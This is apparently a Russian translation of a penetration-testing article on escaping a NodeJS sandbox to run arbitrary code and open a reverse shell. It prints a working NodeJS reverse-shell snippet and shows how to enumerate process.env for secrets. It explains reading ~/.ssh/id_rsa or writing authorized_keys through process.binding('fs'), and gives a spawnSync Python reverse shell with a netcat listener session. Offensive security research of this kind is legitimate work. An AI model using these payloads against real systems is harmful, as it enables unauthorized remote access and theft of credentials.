Автор: Lars Sorenson
В этой статье мы рассмотрим внутреннее устройство интерпретатора NodeJS, и как воспользоваться этими знаниями для «побега» из песочницы.
NodeJS представляет собой среду выполнения для JavaScript на базе движка V8 и позволяет разработчикам использовать один и тот же язык и, возможно, базу исходных текстов для клиентской (фронтенд) и серверной части (бекенд). NodeJS появился в 2009 году, используется крупными компаниями (например, Netflix, Microsoft и IBM) и уже загружен более 250.000.000 раз. В общем, с позиции пентестера веб-приложений объект для исследования весьма интересный.
До NodeJS была необходимость в использовании различных серверных языков (PHP, Perl), у которых также есть проблемы, связанные с безопасностью. Однако несмотря на то, что в NodeJS и JavaScript есть некоторые улучшения, когда дело доходит до инъекций команд при помощи eval(), разница отсутствует.
Функция eval позволяет выполнять команды на уровне операционной системы. Когда на уровне приложения отсутствует нужная функциональность, или проще задействовать базовую систему, разработчики используют eval. Естественно, подобные трюки требуют реализации различных песочниц, чтобы злоумышленники не смогли воспользоваться ресурсами сервера.
Приступаем к погружению в глубины NodeJS для поиска возможностей выхода за пределы песочницы и выполнения произвольного JavaScript-кода.
Реверсивный (обратный) шелл
Для пентестеров со стажем реверсивные шеллы стали второй натурой. Когда поиск методов для инициации обратного подключения уже не представляет особых сложностей, начинается самое интересное. В статье на сайте Wiremask описывается, как получить обратный шелл в NodeJS:
(function(){
var net = require(«net»),
cp = require(«child_process»),
sh = cp.spawn(«/bin/sh», []);
var client = new net.Socket();
client.connect(8080, «192.168.1.1», function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
Если вам будет сопутствовать удача и песочница окажется не очень защищенной или вообще будет отсутствовать, вы получите реверсивный шелл можете продолжать заниматься своими делами. Однако ситуации не всегда бывают настолько простыми. Мы рассмотрим, как получить обратный шелл без использования функции require. Эта техника (когда функция require отсутствует), используемая в песочницах, представляет собой первый уровень защиты от злоумышленников. Если нам не доступен импорт стандартных библиотек, которые есть в NodeJS, то чтение/запись файлов в операционной системе и организация сетевых соединений осложняется. И здесь придется включить голову.
Предварительное исследование
Любой пентест всегда начинается с предварительного исследования. На первый взгляд кажется, что достаточно уметь выполнять произвольные команды, однако из-за присутствия песочницы придется потрудиться. Первый шаг – определить, к чему есть доступ во время запуска полезной нагрузки. Самый простой способ решить эту задачу – сделать трассировку стека. К сожалению, не во всех приложениях можно сделать трассировку или получить содержимое ошибки. Однако ознакомившись с этим постом на StackOverflow становится понятно, что код достаточно прост, особенно если доступны самые последние возможности языка. Без прямого доступа к консоли, мы можем использовать функцию print или получить актуальную трассировку при помощи следующего кода:
function stackTrace() {
var err = new Error();
print(err.stack);
}
После запуска полезной нагрузки получаем трассировку стека:
Error
at stackTrace (lodash.templateSources[3354]:49:19)
at eval (lodash.templateSources[3354]:52:11)
at Object.eval (lodash.templateSources[3354]:65:3)
at evalmachine.:38:49
at Array.map ()
at resolveLodashTemplates (evalmachine.:25:25)
at evalmachine.:59:3
at ContextifyScript.Script.runInContext (vm.js:59:29)
at Object.runInContext (vm.js:120:6)
at /var/www/ClientServer/services/Router/sandbox.js:95:29
…
По логам выше становится понятно, что мы находимся внутри песочницы sandbox.js, которая работает на базе шаблона lodash через eval. Теперь попробуем выяснить текущий контекст кода.
Мы не можем просто воспользоваться конструкцией print(this) и должны использовать функцию JSON.stringify():
> print(JSON.stringify(this))
< TypeError: Converting circular structure to JSON
К сожалению, внутри объекта this есть несколько циклических ссылок, которые нужно предварительно ликвидировать при помощи метода JSON.prune:
> print(JSON.prune(this))
< {
«console»: {},
«global»: «-pruned-«,
«process»: {
«title»: «/usr/local/nvm/versions/node/v8.9.0/bin/node»,
«version»: «v8.9.0»,
«moduleLoadList»: [ … ],
…
}
Оригинальный метод JSON.prune не поддерживает перечисление доступных функций. Мы можем модифицировать ветвь case «function», чтобы выводились имена функций. Запуск этой полезной нагрузки даст интересные результаты. Во-первых, this.process.env содержит переменные окружения текущего процесса и может содержать API-ключи или секреты. Во-вторых, this.process.mainModule содержит конфигурацию для текущего запущенного модуля. Можно найти и другую интересную информацию, касающуюся приложения, как, например, пути к конфигурационным файлам. В списке this.process.moduleLoadList перечислены все модули NodeJS, загруженные главным процессом, которые содержат секреты, способствующие нашему успеху.
NodeJS дает нужные инструменты для достижения успеха
Рассмотрим подробнее список moduleLoadList в главном процессе. Если взглянуть на первоначальный код для получения обратного шелла, то можно увидеть, что нам нужны два модуля: net и child_process, которые должны быть уже загружены. Далее нужно выяснить, как получить доступ к модулям, загруженным процессом. Без функции require мы должны использовать внутренние библиотеки и API, которые используются самим NodeJS. Например, в документации на объект Process можно почитать про функцию dlopen(), но мы пойдем более простым путем и воспользуемся process.binding(). Продолжая изучать исходный код NodeJS, переходим к файлу fs.js ,который представляет собой библиотеку для работы с файлами. Здесь мы видим, что используется конструкция process.binding(‘fs’), которая возвращает модуль fs. Используя модифицированный вариант JSON.prune с выводом имен функций, смотрим, какой функционал нам доступен:
> var fs = this.process.binding(‘fs’);
> print(JSON.prune(fs));
< {
«access»: «func access()»,
«close»: «func close()»,
«open»: «func open()»,
«read»: «func read()»,
…
«rmdir»: «func rmdir()»,
«mkdir»: «func mkdir()»,
…
}
Последующее исследование показывает, что мы имеем дело с функциями, написанными на C++, которые используются в NodeJS. Соответственно, использование сигнатур этих функцию позволит нам выполнять чтение и запись. Теперь можно начать изучение файловой системы с последующим получением доступа через SSH посредством записи публичного ключа в ~/.ssh/authorized_keys или чтения ~/.ssh/id_rsa. Однако обычно виртуальные машины изолируются от прямого доступа и используется прокси. Чтобы инициировать соединения реверсивного шелла и обойти это ограничения, попытаемся продублировать пакеты child_process и net.
Переход на более высокий уровень
На данный момент оптимальный путь – изучение функций на C++ из репозитория NodeJS. Вначале находим соответствую JS-библиотеку (например, net.js) и функцию, которую нужно запустить. Затем ищем связь с функцией, написанной на C++. Можно было бы переписать net.js без использования require, однако есть способ попроще. Оказалось, что уже была проделана большая работа, чтобы команды на уровне операционной системы можно было запускать без использования require. Речь идет о spawn_sync.
Единственное, что нужно сделать – поменять process.binding() на this.process.binding() и console.log() на print() (или просто удалить), Затем нужно выяснить, что требуется для инициации обратного шелла. Обычно ищется один из файлов netcat, perl, python, когда в полезной нагрузке запускается команда which с именем бинарного файла, например, which python. В нашем случае мы имеем дело с Python и, соответственно, используем следующий код для организации реверсивного шелла:
var resp = spawnSync(‘python’,
[‘-c’,
‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((«127.0.0.1»,443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([«/bin/sh»,»-i»]);’
]
);
print(resp.stdout);
print(resp.stderr);
Не забудьте поменять параметры «127.0.0.1» и 443 на актуальные, которые будут использоваться в netcat. После запуска полезной нагрузки получаем следующее, означающее, что мы пришли к успеху:
root@netspi$ nc -nvlp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from [192.168.1.1] port 443 [tcp/*] accepted (family 2, sport 48438)
sh: no job control in this shell
sh-4.2$ whoami
whoami
user
sh-4.2$ ifconfig
ifconfig
ens5: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 9001
inet 192.168.1.1 netmask 255.255.240.0 broadcast 192.168.1.255
ether de:ad:be:ee:ef:00 txqueuelen 1000 (Ethernet)
RX packets 4344691 bytes 1198637148 (1.1 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4377151 bytes 1646033264 (1.5 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1000 (Local Loopback)
RX packets 126582565 bytes 25595751878 (23.8 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 126582565 bytes 25595751878 (23.8 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Заключение
Чтобы перейти от выполнения произвольного кода к реверсивному шеллу, нужно преодолеть песочницу в NodeJS, что является лишь вопросом времени. Эта проблема была и в случае с PHP и остается сейчас. Главный вывод: никогда не доверять пользовательскому вводу и не выполнять пользовательский код. Кроме того, с точки зрения пентестера изучение внутренностей интерпретатора может оказаться чрезвычайно полезным при поиске способов выхода из песочницы. Попытка направить систему против самой себя чаще всего дает позитивные результаты.
Источник: